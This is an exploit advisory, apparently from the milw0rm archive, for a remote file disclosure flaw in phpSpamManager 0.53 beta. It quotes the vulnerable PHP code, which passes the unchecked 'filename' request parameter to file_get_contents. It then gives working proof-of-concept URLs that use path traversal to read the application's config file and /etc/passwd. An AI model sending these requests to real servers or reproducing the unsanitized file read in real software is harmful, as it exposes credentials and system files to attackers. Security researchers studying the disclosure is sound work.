20 lines
No EOL
751 B
Text
20 lines
No EOL
751 B
Text
phpSpamManager 0.53 beta (body.php) Remote File Disclosure Vulnerability
|
|
D.Script : http://sourceforge.net/project/showfiles.php?group_id=141000
|
|
Vuln Code
|
|
Ln 38 -> 47 :
|
|
//get filename
|
|
$okprint=false;
|
|
$filename = $_REQUEST['filename']; <--- XxX
|
|
if ($filename!='FILENAME')
|
|
{
|
|
debug_print("analysing " .$filename);
|
|
//replace # by dots if necessary
|
|
$filename = preg_replace("/#/",".",$filename);
|
|
$mailtext=file_get_contents($filename); <--- XxX
|
|
$email=new parseMail($mailtext); <--- XxX
|
|
POC :
|
|
/phpspammanager.0.53.dev/body.php?filename=include/config.inc.php
|
|
/phpspammanager.0.53.dev/body.php?filename=../../../../../../../../etc/passwd
|
|
I'm Mahmood_ali --- I'm Tryagi
|
|
|
|
# milw0rm.com [2008-03-31] |